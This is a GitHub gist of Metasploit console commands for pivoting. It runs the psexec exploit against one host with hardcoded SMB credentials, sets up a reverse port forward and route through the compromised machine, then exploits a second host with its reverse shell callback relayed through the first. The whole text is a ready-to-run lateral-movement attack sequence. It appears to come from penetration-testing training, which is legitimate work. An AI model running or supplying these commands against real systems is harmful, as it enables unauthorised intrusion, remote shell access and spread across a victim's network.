Created
May 21, 2021 16:36
-
-
Save joswr1ght/6dd5c69ae268762e8d6589eceb53581f to your computer and use it in GitHub Desktop.
Setup Intermediate Forwarder for Metasploit Callback
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use exploit/windows/smb/psexec | |
set RHOST 10.10.10.10 | |
set SMBUSER falken | |
set SMBPASS joshua | |
set LHOST tap0 | |
show options | |
exploit | |
portfwd add -R -L 127.0.0.1 -l 4444 -p 4444 | |
bg | |
route add 10.10.10.20/32 1 | |
set RHOST 10.10.10.20 | |
set LHOST 10.10.10.10 | |
set LPORT 4444 | |
set ReverseListenerBindAddress 127.0.0.1 | |
exploit | |
sysinfo | |
ipconfig | |
bg |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment